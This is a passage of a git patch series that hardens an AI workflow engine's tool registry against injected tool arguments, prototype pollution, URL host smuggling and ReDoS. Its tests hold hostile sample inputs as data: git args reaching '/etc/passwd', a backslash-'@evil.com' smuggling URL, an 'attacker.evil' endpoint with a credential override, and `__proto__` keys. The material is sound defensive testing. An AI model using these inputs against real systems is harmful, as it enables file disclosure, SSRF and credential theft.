=> Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); + await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + call('git_status', { command: 'diff', args: ['--no-index', '--', '/etc/passwd'] }), + ctx(), + ); + // The model's injected `args` is config-only → stripped; only the safe subcommand runs. + expect(spawn).toHaveBeenCalledWith('git', ['diff'], {}, {}, undefined); + }); + + it('git_status runs author-pinned args from config', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); + await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + call('git_status', { command: 'diff' }), + ctx({ config: { parameters: { args: ['--stat'] } } }), + ); + expect(spawn).toHaveBeenCalledWith('git', ['diff', '--stat'], {}, {}, undefined); + }); +}); + +describe('ToolRegistry — prototype-pollution resistance', () => { + it('output_mapping readPath returns undefined for inherited members, never the prototype/constructor', async () => { + const out = await registry().dispatch( + call('run_command', { command: 'ls' }), + ctx({ + config: { outputMapping: { a: '__proto__', b: 'constructor', c: 'stdout' } }, + toolPolicy: { allowedCommands: ['ls'] }, + }), + ); + expect(out.output).toEqual({ a: undefined, b: undefined, c: 'ok' }); + }); + + it('a `__proto__` key in input_mapping does not pollute Object.prototype', async () => { + await registry().dispatch( + call('read_file', { path: 'a' }), + ctx({ config: { inputMapping: { ['__proto__']: { polluted: true } } } }), + ); + expect(({} as Record)['polluted']).toBeUndefined(); + }); +}); + +describe('ToolRegistry — host extraction rejects smuggling chars but allows hyphens (L5)', () => { + it('allows a legitimate hyphenated FQDN', async () => { + const out = await registry().dispatch( + call('http_request', { url: 'https://my-api.example.com/x' }), + ctx({ toolPolicy: { allowedDomains: ['my-api.example.com'] } }), + ); + expect(out.events.result.success).toBe(true); + }); + + it.each([ + ['backslash', 'https://api.example.com\\@evil.com/'], + ['space', 'https://exa mple.com/'], + ['tab', 'https://e\tvil/'], + ])('rejects a %s in the authority as insecure', async (_name, url) => { + const err = await rejectsWith( + registry().dispatch(call('http_request', { url }), ctx({ toolPolicy: { allowedDomains: ['api.example.com'] } })), + ); + expect(err.reason).toBe('insecure_url'); + }); +}); + +describe('ToolRegistry — glob, provider_executed, and mid-dispatch cancel', () => { + it('matches a consecutive-`*` glob without hanging (collapse)', async () => { + const out = await registry().dispatch( + call('run_command', { command: 'a b c' }), + ctx({ toolPolicy: { allowedCommandGlobs: ['****'] } }), + ); + expect(out.events.result.success).toBe(true); + }); + + it('classifies a provider-executed call with the provider_executed reason', async () => { + const err = await rejectsWith(registry().dispatch(call('read_file', { path: 'a' }, true), ctx())); + expect(err.reason).toBe('provider_executed'); + expect(err.runErrorCode).toBe('tool_denied'); + }); + + it('classifies an abort that flips mid-dispatch (plain host error) as cancelled, not tool_failed', async () => { + const signal = { aborted: false }; + const host = stubHost({ + fs: fsWith(() => { + signal.aborted = true; // the run is cancelled while the host is in-flight + return Promise.reject(new Error('boom')); // a plain (non-AbortError) host error + }), + }); + const err = await rejectsWith( + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch( + call('read_file', { path: 'a' }), + ctx({ signal: signal as never }), + ), + ); + expect(err).toBeInstanceOf(ToolCancelledError); + expect(err.runErrorCode).toBe('cancelled'); + }); + + it('rejects a secret-tainted value supplied via input_mapping (T2)', async () => { + const err = await rejectsWith( + registry().dispatch( + call('read_file'), + ctx({ config: { inputMapping: { path: '/etc/passwd' } }, secretArgKeys: new Set(['path']) }), + ), + ); + expect(err).toBeInstanceOf(ToolArgsInvalidError); + expect(err.fields).toEqual(['path']); + }); +}); diff --git a/packages/core/src/tools/registry.ts b/packages/core/src/tools/registry.ts index 25168c1e..ce650685 100644 --- a/packages/core/src/tools/registry.ts +++ b/packages/core/src/tools/registry.ts @@ -64,7 +64,7 @@ async function dispatch( if (toolCall.providerExecuted === true) { throw new ToolPolicyError( toolCall.name, - 'not_granted', + 'provider_executed', `tool \`${toolCall.name}\` is provider-executed and is not dispatched by the engine`, ); } @@ -97,12 +97,24 @@ async function dispatch( // 4. Enforce the guardrail policy on the EFFECTIVE args (the resolved command/URL is now real). enforcePolicy(def, args, ctx); - // 5. The single side effect. An AbortSignal-origin failure is the cancellation path, not tool_failed. - let output: unknown; + // 5-7. The single side effect + output_mapping (FULL result) + model-facing bounding — all under one + // classification ladder so a spill-time abort surfaces as `cancelled` (ADR-0036 precedence) and any + // other tail failure is a classified tool error, never a raw escape. + let outputMapped: unknown; + let bounded: Awaited>; try { throwIfAborted(ctx, def.id); - output = await def.dispatch(args, host, ctx); + const output = await def.dispatch(args, host, ctx); + // Abort that lands AFTER the host resolved must still classify as cancelled, not a success. + throwIfAborted(ctx, def.id); + // 6. output_mapping runs on the FULL result → workflow state keeps the real value. + outputMapped = applyOutputMapping(output, ctx.config.outputMapping); + // 7. Bound the MODEL-FACING result (the full result is untouched above). + bounded = await boundForModel(output, ctx.limits ?? DEFAULT_TOOL_RESULT_LIMITS, host, ctx.signal); } catch (cause) { + if (cause instanceof ToolCancelledError) { + throw cause; // already classified (e.g. throwIfAborted) — never double-wrap + } if (isAbort(cause, ctx)) { throw new ToolCancelledError(def.id, cause); } @@ -112,13 +124,6 @@ async function dispatch( throw new ToolExecutionError(def.id, `tool \`${def.id}\` failed`, cause); } - // 6. output_mapping runs on the FULL result → workflow state keeps the real value. - const outputMapped = applyOutputMapping(output, ctx.config.outputMapping); - - // 7. Bound the MODEL-FACING result (the full result is untouched above). - const limits = ctx.limits ?? DEFAULT_TOOL_RESULT_LIMITS; - const bounded = await boundForModel(output, limits, host, ctx.signal); - // 8. Brand the model-facing result untrusted + shape the sanitized event payloads. const toolResult: ToolResultPart = { type: 'tool_result', @@ -138,23 +143,33 @@ async function dispatch( /* ------------------------------------------------------------------------------------------------ * * Step 2 — effective args. Precedence: model args (base) < input_mapping (author-wired) < config-only. + * A config-only param's value comes ONLY from `ctx.config.parameters` — neither a model argument nor an + * `input_mapping` value may supply one (ADR-0037: "a model argument can never override one", enforced by + * the engine, not by convention). Prototype-polluting keys are dropped from every source. * ------------------------------------------------------------------------------------------------ */ +/** Keys that would walk/poison the prototype chain — never a legitimate tool argument name. */ +const UNSAFE_ARG_KEYS = new Set(['__proto__', 'constructor', 'prototype']); + function assembleArgs( def: ToolDef, modelArgs: unknown, ctx: ToolDispatchContext, ): Record { - const effective: Record = isRecord(modelArgs) ? { ...modelArgs } : {}; - const mapping = ctx.config.inputMapping; - if (mapping !== undefined) { - for (const [key, value] of Object.entries(mapping)) { - effective[key] = value; - } - } + const configOnly = new Set(def.configOnlyParams ?? []); + const effective: Record = {}; + // 1. Model-supplied args are the base — but a config-only key from the model is dropped (config is its + // only source) and a prototype-polluting key is never copied. + copyArgs(effective, modelArgs, configOnly); + // 2. Author-wired input_mapping — same exclusions, so a config-only value cannot enter via state either. + copyArgs(effective, ctx.config.inputMapping, configOnly); + // 3. Config-only params — the ONE source for these (config wins; absent ⇒ the tool's own default). const params = ctx.config.parameters; - if (def.configOnlyParams !== undefined && params !== undefined) { - for (const key of def.configOnlyParams) { + if (params !== undefined) { + for (const key of configOnly) { + if (UNSAFE_ARG_KEYS.has(key)) { + continue; + } if (Object.prototype.hasOwnProperty.call(params, key)) { effective[key] = params[key]; } @@ -163,6 +178,23 @@ function assembleArgs( return effective; } +/** Copy own keys from `source` into `target`, skipping the `exclude` set and prototype-polluting names. */ +function copyArgs( + target: Record, + source: unknown, + exclude: ReadonlySet, +): void { + if (!isRecord(source)) { + return; + } + for (const key of Object.keys(source)) { + if (UNSAFE_ARG_KEYS.has(key) || exclude.has(key)) { + continue; + } + target[key] = source[key]; + } +} + /* ------------------------------------------------------------------------------------------------ * * Step 3 — secret taint (ADR-0029(c), re-applied on the effective set) + arg validation. * ------------------------------------------------------------------------------------------------ */ @@ -293,7 +325,13 @@ function extractHttpsHost(url: string): { host: string; hasCredentials: boolean if (match === null) { return null; } - let authority = match[1] ?? ''; + const rawAuthority = match[1] ?? ''; + // Fail closed on smuggling chars (backslash / whitespace / control) that the WHATWG parser the host + // SSRF primitive uses may treat differently — a real FQDN never contains them. + if (hasSmugglingChar(rawAuthority)) { + return null; + } + let authority = rawAuthority; let hasCredentials = false; const at = authority.lastIndexOf('@'); if (at !== -1) { @@ -311,20 +349,33 @@ function extractHttpsHost(url: string): { host: string; hasCredentials: boolean return { host: host.toLowerCase(), hasCredentials }; } -/** A minimal, well-bounded glob: `*` (any run) and `?` (one char), everything else literal, full match. */ +/** + * A minimal, well-bounded glob: `*` (any run) and `?` (one char), everything else literal, full match. + * Consecutive `*` collapse to a single `.*` (no `(.*)+`-style catastrophic backtracking on a degenerate + * author glob), and compiled patterns are cached (author globs are a small fixed set). + */ +const globCache = new Map(); function globMatch(glob: string, value: string): boolean { - let pattern = '^'; - for (const ch of glob) { - if (ch === '*') { - pattern += '.*'; - } else if (ch === '?') { - pattern += '.'; - } else { - pattern += ch.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + let compiled = globCache.get(glob); + if (compiled === undefined) { + let pattern = '^'; + let prevStar = false; + for (const ch of glob) { + if (ch === '*') { + if (!prevStar) { + pattern += '.*'; + } + prevStar = true; + continue; + } + prevStar = false; + pattern += ch === '?' ? '.' : ch.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); } + pattern += '$'; + compiled = new RegExp(pattern); + globCache.set(glob, compiled); } - pattern += '$'; - return new RegExp(pattern).test(value); + return compiled.test(value); } /* ------------------------------------------------------------------------------------------------ * @@ -345,14 +396,19 @@ function applyOutputMapping( return out; } -/** Read a simple dot-path (`a.b.c`) from a value; undefined when any segment is absent. */ +/** + * Read a simple dot-path (`a.b.c`) from a value; undefined when any segment is absent. Walks ONLY own + * data properties (`Object.hasOwn`) — a segment naming an inherited member (`__proto__`, `constructor`, + * `toString`) returns undefined, never the prototype/constructor function. Mirrors the hardened + * `interpolation/path.ts` reader; do not regress to a bare `cursor[segment]`. + */ function readPath(value: unknown, path: string): unknown { if (path === '') { return value; } let cursor = value; for (const segment of path.split('.')) { - if (!isRecord(cursor)) { + if (!isRecord(cursor) || !Object.hasOwn(cursor, segment)) { return undefined; } cursor = cursor[segment]; @@ -402,3 +458,19 @@ function isAbort(cause: unknown, ctx: ToolDispatchContext): boolean { function isRecord(value: unknown): value is Record { return typeof value === 'object' && value !== null && !Array.isArray(value); } + +/** + * True if an authority carries a backslash, whitespace/space, or a C0/DEL control char — chars the + * WHATWG parser the host SSRF primitive uses may treat differently, so the engine fails closed. A real + * FQDN/authority never contains them (a hyphen `-` (0x2d) and dot `.` (0x2e) ARE allowed). A char-scan, + * not a regex, so no control byte ever lands in this source file. + */ +function hasSmugglingChar(authority: string): boolean { + for (let i = 0; i < authority.length; i++) { + const code = authority.charCodeAt(i); + if (code <= 0x20 || code === 0x7f || code === 0x5c) { + return true; // <=0x20: C0 controls + space; 0x7f: DEL; 0x5c: backslash + } + } + return false; +} diff --git a/packages/core/src/tools/types.ts b/packages/core/src/tools/types.ts index 4751ecd7..5def5242 100644 --- a/packages/core/src/tools/types.ts +++ b/packages/core/src/tools/types.ts @@ -8,10 +8,14 @@ * `ResolverCapabilities` (1.L2) and the injected HTTP transport (ADR-0018). */ -import type { AbortSignalLike, ContentPart } from '@relavium/shared'; +import type { AbortSignalLike, ContentPart, FsScopeTier } from '@relavium/shared'; import type { Untrusted } from './untrusted.js'; +// Re-export the canonical FS scope tier (`'sandboxed' | 'project' | 'full'`, constants.ts) rather than +// redefining it — the engine binds `ToolDispatchContext.fsScope` to the shared source of truth. +export type { FsScopeTier }; + /** A canonical, engine-executed tool-call content part (the `provider_executed` arm is never dispatched). */ export type ToolCallPart = Extract; /** A canonical tool-result content part — `media` carries durable handles (ADR-0031), never raw bytes. */ @@ -235,7 +239,6 @@ export interface ToolDispatchContext { readonly signal?: AbortSignalLike; } -export type FsScopeTier = 'sandboxed' | 'project-scoped' | 'full'; export interface ToolDef { readonly id: ToolId; From 980dadfc03628241d115804b5213f3d0888638a7 Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 15:47:22 +0300 Subject: [PATCH 10/16] fix(core): fold the round-2 (Sonnet) re-audit findings on 1.T MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A second independent adversarial review (Sonnet, 81 agents, 3-lens verification) re-audited the round-1 fixes and found two genuinely incomplete ones plus a new ReDoS and edge cases. All folded: - H-1 (fix-incomplete): the round-1 abort guard was added after the dispatch await but NOT after boundForModel — its async fast path yields a microtask in which a cancel could slip through to a success return. Added the symmetric throwIfAborted after bounding (success-after-cancel window closed). - M-2 (fix-incomplete): the proto-pollution defense covered copyArgs + readPath segments but not the output_mapping STATEKEY — a `__proto__` stateKey mutated the result object's prototype. applyOutputMapping now skips UNSAFE_ARG_KEYS. - M-1 (new ReDoS): globMatch compiled `a*a*…X` to a backtracking RegExp (alternating-literal-star hangs). Replaced with a linear-time iterative matcher (single backtrack point); removed the RegExp + cache. - L-1/L-2: utf8ByteLength now counts a lone high surrogate as 3 bytes without skipping the next char; sliceToBytes(fromEnd) accounts a lone low surrogate correctly. - L-3: documented cancel-wins-all (ADR-0036 precedence) at the catch ladder. - Docs: ADR-0037 + tool-registry.md flipped to Accepted/Stable (peer ADR-0036 parity); the spec's llmVisibleParams typed JsonSchema not JSONSchema7 (L-6); EgressCapability.fetch ctx.limits overclaim corrected (I-1); error-taxonomy + lifecycle pre-step now name provider_executed (I-2/I-3); SSRF test comment corrected (I-4). +15 regression tests (118 tools tests; both abort guards, the proto stateKey, ReDoS-completes-fast + glob correctness, the surrogate edges, git_status input_mapping strip, DEL smuggling char, git_commit empty-files argv). Full turbo lint+typecheck+test+build green (core 461 → now more); no control bytes; engine purity + seam held. Refs: ADR-0037, ADR-0029 Co-Authored-By: Claude Opus 4.8 (1M context) --- .../0037-engine-tool-execution-boundary.md | 2 +- docs/decisions/README.md | 2 +- docs/reference/shared-core/tool-registry.md | 18 +-- packages/core/src/tools/bounding.test.ts | 6 + packages/core/src/tools/bounding.ts | 18 ++- packages/core/src/tools/builtins.test.ts | 7 ++ packages/core/src/tools/registry.test.ts | 107 +++++++++++++++++- packages/core/src/tools/registry.ts | 58 ++++++---- 8 files changed, 183 insertions(+), 35 deletions(-) diff --git a/docs/decisions/0037-engine-tool-execution-boundary.md b/docs/decisions/0037-engine-tool-execution-boundary.md index 19152aeb..5a41a2fb 100644 --- a/docs/decisions/0037-engine-tool-execution-boundary.md +++ b/docs/decisions/0037-engine-tool-execution-boundary.md @@ -1,6 +1,6 @@ # ADR-0037: Engine-side tool-execution boundary — the `ToolHost` capability seam, the policy/mechanism split, and bounded tool results -- **Status**: Proposed +- **Status**: Accepted - **Date**: 2026-06-13 - **Related**: [ADR-0003](0003-pure-ts-engine-not-langgraph-python.md), [ADR-0006](0006-os-keychain-for-api-keys.md), [ADR-0011](0011-internal-llm-abstraction.md), [ADR-0018](0018-desktop-execution-and-rust-egress.md), [ADR-0019](0019-cli-node-keychain-library.md), [ADR-0023](0023-strict-authored-yaml-validation.md), [ADR-0027](0027-expression-sandbox.md), [ADR-0028](0028-workflow-resource-governance.md), [ADR-0029](0029-tool-policy-hardening.md), [ADR-0034](0034-mcp-client-sdk-dependency.md), [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md), [tool-registry.md](../reference/shared-core/tool-registry.md), [built-in-tools.md](../reference/shared-core/built-in-tools.md), [mcp-integration.md](../reference/shared-core/mcp-integration.md), [security-review.md](../standards/security-review.md), [error-handling.md](../standards/error-handling.md), [sse-event-schema.md](../reference/contracts/sse-event-schema.md), [architectural-principles.md](../standards/architectural-principles.md) diff --git a/docs/decisions/README.md b/docs/decisions/README.md index b5a3c666..b1da6528 100644 --- a/docs/decisions/README.md +++ b/docs/decisions/README.md @@ -80,7 +80,7 @@ flowchart TD | 0034 | [MCP client implementation — the official TypeScript SDK, scheduled in build phase 2](0034-mcp-client-sdk-dependency.md) | Accepted | 2026-06-10 | | 0035 | [YAML parser for the engine — the `yaml` package, confined to `@relavium/core`](0035-yaml-parser-dependency.md) | Accepted | 2026-06-11 | | 0036 | [Run-loop substrate — in-house `RunEventBus`, the `ExecutionHost` seam, and the exactly-one-terminal-event invariant](0036-run-loop-substrate-event-bus-and-execution-host.md) | Accepted | 2026-06-13 | -| 0037 | [Engine-side tool-execution boundary — the `ToolHost` capability seam, policy/mechanism split, bounded results](0037-engine-tool-execution-boundary.md) | Proposed | 2026-06-13 | +| 0037 | [Engine-side tool-execution boundary — the `ToolHost` capability seam, policy/mechanism split, bounded results](0037-engine-tool-execution-boundary.md) | Accepted | 2026-06-13 | ## Creating a new ADR diff --git a/docs/reference/shared-core/tool-registry.md b/docs/reference/shared-core/tool-registry.md index eadd5719..24528a17 100644 --- a/docs/reference/shared-core/tool-registry.md +++ b/docs/reference/shared-core/tool-registry.md @@ -1,6 +1,6 @@ # Tool Registry & the `ToolHost` Seam -- **Status**: Draft — pending [ADR-0037](../../decisions/0037-engine-tool-execution-boundary.md) acceptance (flips to **Stable** when the ADR is Accepted) +- **Status**: Stable ([ADR-0037](../../decisions/0037-engine-tool-execution-boundary.md) is Accepted) - **Canonical home**: the contract for the engine-side `ToolRegistry` + dispatch in `packages/core` (`@relavium/core`) and the host-injected `ToolHost` capability seam it performs side effects through — workstream **1.T** - **Related**: [../../decisions/0037-engine-tool-execution-boundary.md](../../decisions/0037-engine-tool-execution-boundary.md) (the decision), [../../decisions/0029-tool-policy-hardening.md](../../decisions/0029-tool-policy-hardening.md) (the guardrails), [built-in-tools.md](built-in-tools.md) (the tool catalog + the concrete result-bounding / config-only-param shapes), [node-types.md](node-types.md) (the `tool_config` / `agent_config` blocks that carry `parameters` / `input_mapping` / `output_mapping`), [mcp-integration.md](mcp-integration.md) (the MCP tool transport, 2.R), [llm-provider-seam.md](llm-provider-seam.md) (the canonical `ToolDef` the `ToolNormalizer` lowers), [../contracts/sse-event-schema.md](../contracts/sse-event-schema.md#error-code-taxonomy) (`agent:tool_call` / `agent:tool_result` payloads + the `tool_denied` / `tool_failed` codes), [../../standards/security-review.md](../../standards/security-review.md#prompt-injection-posture) (the untrusted-data + SSRF + secret rules), [../../standards/error-handling.md](../../standards/error-handling.md) (the retryable/fatal mapping), [../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md) (the sibling `ExecutionHost` seam + the single event-translation point), [../../decisions/0031-llm-seam-shape-amendment-multimodal-io.md](../../decisions/0031-llm-seam-shape-amendment-multimodal-io.md) (durable media handles) @@ -32,11 +32,13 @@ interface ToolDef { /** * The LLM-VISIBLE projection of the parameter shape — and ONLY this — is what the `ToolNormalizer` - * (1.E) lowers to each provider's wire shape; a model can supply only these. It is derived from the - * LLM-visible subset of the args schema (an in-house emitter or a hand-maintained projection — an - * implementation detail), excluding every `configOnlyParams` entry. + * (1.E) lowers to each provider's wire shape; a model can supply only these. Derived from the + * LLM-visible subset of the args schema (an in-house emitter or a hand-maintained projection), + * excluding every `configOnlyParams` entry. Typed `JsonSchema` (= `Readonly>`, + * exported by `@relavium/core`) — opaque data the engine carries, NOT the `@types/json-schema` + * `JSONSchema7` type (the engine never imports it). */ - readonly llmVisibleParams: JSONSchema7; + readonly llmVisibleParams: JsonSchema; /** * Names of CONFIG-PINNED parameters: their VALUES come from the node's `tool_config` / `agent_config` @@ -124,7 +126,8 @@ interface EgressCapability { * per-hop-redirect-revalidate — security-review.md). A `credentialRef` is an OPAQUE secret-store * reference (the `web_search` provider key, an auth header value) the host resolves and attaches * INSIDE its trusted boundary — the ADR-0006/0018 key-reference pattern, so the raw secret never - * enters the engine / WebView. Streams the response and enforces `ctx.limits` while streaming. + * enters the engine / WebView. v1.0 bounding is applied post-hoc by the registry over the in-memory + * `EgressResponse.body`; a future `maxBytes` on `EgressRequest` (with 1.AE) enables source-side truncation. * Ships feature-flag-OFF until the shared primitive lands at 1.AE. */ fetch(request: EgressRequest, signal?: AbortSignalLike): Promise; @@ -150,6 +153,7 @@ half-populated args (a `tool` node has no model args — every value arrives via policy that ran before assembly would inspect nothing and a command allowlist would be bypassed). The host is touched once, in the middle. +0. **Reject a provider-executed call.** If `toolCall.providerExecuted === true`, reject immediately with `ToolPolicyError(reason: 'provider_executed')` **before** id resolution — the engine never dispatches a provider-executed `tool_call` (content.ts; ADR-0030/0029). 1. **Resolve by exact id, then check the grant.** Look up `toolCall.name` by **exact match** — unknown / misspelled → `UnknownToolError` listing the available ids (**never** fuzzy / nearest-name, [ADR-0029](../../decisions/0029-tool-policy-hardening.md)). Then verify the id is in `ctx.grantedToolIds` (the node's narrowed grant, 0029(b)); a registered-but-not-granted tool (e.g. a hallucinated / injected `tool_call`) → `ToolPolicyError`. The registry holding a `ToolDef` is **not** authorization to dispatch it. 2. **Assemble the effective argument set.** Start from the model-supplied args (for an agent tool-call) and/or `ctx.config.input_mapping` (for a `tool` node, where there are no model args), apply `input_mapping`, then merge `configOnlyParams` **last (config wins)**. 3. **Validate the COMPLETE effective set** via `tool.parseArgs` **and** the secret-taint check — `input_mapping`/config-derived values are validated identically to model args; a secret-tainted value reaching a non-credential arg is rejected (0029(c)). A miss → `ToolArgsInvalidError`. @@ -253,7 +257,7 @@ codes by [sse-event-schema.md](../contracts/sse-event-schema.md#error-code-taxon | Error | When | Run `ErrorCode` | Class | |-------|------|-----------------|-------| | `UnknownToolError` | id not an exact match | `tool_failed` | fatal (loop-correctable first) | -| `ToolPolicyError` | a guardrail / grant denial (unlisted command, blocked domain, not granted, missing gate) | `tool_denied` | **fatal** (never retried) | +| `ToolPolicyError` | a guardrail / grant denial — `not_granted`, `provider_executed`, `command_not_allowed`, `domain_not_allowed`, `insecure_url`, `gate_required` (the full `ToolPolicyDenyReason` union) | `tool_denied` | **fatal** (never retried) | | `ToolArgsInvalidError` | effective args fail `parseArgs` / secret-taint | `validation` | fatal (loop-correctable first) | | `ToolUnavailableError` | the required `ToolHost` capability is absent (host/config gap, not the model's fault) | `internal` | fatal | | `ToolExecutionError` | the host capability threw a non-cancel error (cause kept off the message, for logs) | `tool_failed` | retryable (node budget) | diff --git a/packages/core/src/tools/bounding.test.ts b/packages/core/src/tools/bounding.test.ts index 4d026b1d..65dd78ba 100644 --- a/packages/core/src/tools/bounding.test.ts +++ b/packages/core/src/tools/bounding.test.ts @@ -14,6 +14,12 @@ describe('utf8ByteLength', () => { expect(utf8ByteLength('😀')).toBe(4); // U+1F600 surrogate pair expect(utf8ByteLength('')).toBe(0); }); + + it('counts a LONE high surrogate as 3 bytes without skipping the next char (L-1)', () => { + expect(utf8ByteLength('\ud83d€')).toBe(6); // lone high (3) + € (3), not 4-with-skip + expect(utf8ByteLength('\ud83d')).toBe(3); // lone high at end of string + expect(utf8ByteLength('\udc00')).toBe(3); // lone low surrogate + }); }); describe('boundForModel', () => { diff --git a/packages/core/src/tools/bounding.ts b/packages/core/src/tools/bounding.ts index 522513f8..63e03dac 100644 --- a/packages/core/src/tools/bounding.ts +++ b/packages/core/src/tools/bounding.ts @@ -35,8 +35,15 @@ export function utf8ByteLength(text: string): number { } else if (code < 0x800) { bytes += 2; } else if (code >= 0xd800 && code <= 0xdbff) { - bytes += 4; // a surrogate pair encodes one 4-byte code point - i++; + // A high surrogate: only a 4-byte code point when FOLLOWED by a low surrogate. A lone high surrogate + // is 3 bytes (WTF-8) and must not consume the next unit. + const next = text.charCodeAt(i + 1); + if (next >= 0xdc00 && next <= 0xdfff) { + bytes += 4; + i++; + } else { + bytes += 3; + } } else { bytes += 3; } @@ -122,8 +129,13 @@ function sliceToBytes(text: string, maxBytes: number, fromEnd: boolean): string while (i > 0) { let start = i - 1; const unit = text.charCodeAt(start); + // Back up to the leading high surrogate ONLY for a real pair; a LONE low surrogate is its own + // 3-byte (WTF-8) unit (`codePointAt` returns the surrogate value → codePointBytes = 3). if (unit >= 0xdc00 && unit <= 0xdfff && start > 0) { - start -= 1; // a low surrogate — include its leading high surrogate + const prev = text.charCodeAt(start - 1); + if (prev >= 0xd800 && prev <= 0xdbff) { + start -= 1; + } } const cp = text.codePointAt(start); if (cp === undefined) { diff --git a/packages/core/src/tools/builtins.test.ts b/packages/core/src/tools/builtins.test.ts index 0b2e9cf4..b1fbd4a4 100644 --- a/packages/core/src/tools/builtins.test.ts +++ b/packages/core/src/tools/builtins.test.ts @@ -168,4 +168,11 @@ describe('built-in git tool hardening', () => { await target.dispatch(target.parseArgs({ message: 'm', files: ['a.ts', 'b.ts'] }), { process: { spawn } }, ctx); expect(spawn).toHaveBeenCalledWith('git', ['commit', '-m', 'm', '--', 'a.ts', 'b.ts'], {}, {}, undefined); }); + + it('git_commit with no files still terminates options with `--` (TG-6)', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); + const target = tool('git_commit'); + await target.dispatch(target.parseArgs({ message: 'm' }), { process: { spawn } }, ctx); + expect(spawn).toHaveBeenCalledWith('git', ['commit', '-m', 'm', '--'], {}, {}, undefined); + }); }); diff --git a/packages/core/src/tools/registry.test.ts b/packages/core/src/tools/registry.test.ts index e676810e..adb2eb47 100644 --- a/packages/core/src/tools/registry.test.ts +++ b/packages/core/src/tools/registry.test.ts @@ -470,7 +470,7 @@ describe('ToolRegistry — config-only params cannot be model- or mapping-suppli ctx({ config: { parameters: { credentialRef: 'real-key-ref' } } }), ); const req = fetch.mock.calls[0]?.[0]; - expect(req?.url).not.toContain('attacker.evil'); // model endpoint dropped → relative, host SSRF rejects it + expect(req?.url).not.toContain('attacker.evil'); // model endpoint dropped → relative `?q=`; the 1.AE host primitive rejects a non-HTTPS URL in prod (stub skips that) expect(req?.credentialRef).toBe('real-key-ref'); // the model's 'STOLEN' override is dropped }); @@ -589,3 +589,108 @@ describe('ToolRegistry — glob, provider_executed, and mid-dispatch cancel', () expect(err.fields).toEqual(['path']); }); }); + +/* --- round-3 regressions: the round-2 (Sonnet) findings --- */ + +describe('ToolRegistry — abort precedence after each await (M-3 line-109, H-1 post-bounding)', () => { + it('classifies an abort that lands after the host RESOLVES (M-3 / line 109)', async () => { + const signal = { aborted: false }; + const host = stubHost({ + fs: fsWith(() => { + signal.aborted = true; // cancelled while in-flight, but the host RESOLVES (no throw) + return Promise.resolve({ content: 'ok', mimeType: 'text/plain', sizeBytes: 2, lastModified: 't' }); + }), + }); + const err = await rejectsWith( + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch(call('read_file', { path: 'a' }), ctx({ signal: signal as never })), + ); + expect(err).toBeInstanceOf(ToolCancelledError); + }); + + it('classifies an abort that lands during bounding (H-1 / post-boundForModel guard)', async () => { + const signal = { aborted: false }; + const big = 'z'.repeat(5000); + const host = stubHost({ + fs: fsWith(() => Promise.resolve({ content: big, mimeType: 'text/plain', sizeBytes: 5000, lastModified: 't' })), + outputStore: { + spill: (text) => { + signal.aborted = true; // the run is cancelled during the spill, but spill RESOLVES (no throw) + return Promise.resolve({ ref: 'spill://x', byteLength: text.length }); + }, + }, + }); + const err = await rejectsWith( + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch( + call('read_file', { path: 'a' }), + ctx({ signal: signal as never, limits: { maxBytes: 10, maxLines: 1 } }), + ), + ); + expect(err).toBeInstanceOf(ToolCancelledError); + }); +}); + +describe('ToolRegistry — output_mapping stateKey cannot pollute the prototype (M-2)', () => { + it('drops a __proto__ stateKey, leaving the result a clean Object.prototype object', async () => { + const out = await registry().dispatch( + call('run_command', { command: 'ls' }), + ctx({ + config: { outputMapping: { ['__proto__']: 'stdout', code: 'exitCode' } }, + toolPolicy: { allowedCommands: ['ls'] }, + }), + ); + expect(out.output).toEqual({ code: 0 }); // __proto__ stateKey skipped + expect(Object.getPrototypeOf(out.output)).toBe(Object.prototype); + expect(Object.prototype.hasOwnProperty.call(out.output, '__proto__')).toBe(false); + }); +}); + +describe('ToolRegistry — globMatch is linear-time (no ReDoS) and correct (M-1)', () => { + it('rejects a pathological alternating glob without hanging', async () => { + const evilGlob = 'a*'.repeat(20) + 'X'; // the classic ReDoS shape against a long non-match + const start = performance.now(); + const err = await rejectsWith( + registry().dispatch(call('run_command', { command: 'a'.repeat(60) }), ctx({ toolPolicy: { allowedCommandGlobs: [evilGlob] } })), + ); + expect(performance.now() - start).toBeLessThan(1000); // linear matcher returns near-instantly + expect(err.reason).toBe('command_not_allowed'); + }); + + it.each([ + ['a*b*c', 'aXXbYYc', true], + ['a*X', 'aYYYX', true], + ['a*X', 'aYYY', false], + ['*', 'anything at all', true], + ['gi?', 'git', true], + ['gi?', 'gie', true], + ['gi?', 'giff', false], + ])('glob %s vs %s = %s', async (glob, command, allowed) => { + const run = registry().dispatch(call('run_command', { command }), ctx({ toolPolicy: { allowedCommandGlobs: [glob] } })); + if (allowed) { + expect((await run).events.result.success).toBe(true); + } else { + const err = await rejectsWith(run); + expect(err.reason).toBe('command_not_allowed'); + } + }); +}); + +describe('ToolRegistry — remaining hardening regressions (TG-2, TG-4)', () => { + it('git_status drops an args[] supplied via input_mapping (TG-2)', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); + await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + call('git_status', { command: 'diff' }), + ctx({ config: { inputMapping: { args: ['--no-index', '/etc/passwd'] } } }), + ); + expect(spawn).toHaveBeenCalledWith('git', ['diff'], {}, {}, undefined); // args is config-only; input_mapping cannot supply it + }); + + it('rejects a DEL (0x7f) control char in the authority (TG-4)', async () => { + const err = await rejectsWith( + registry().dispatch( + 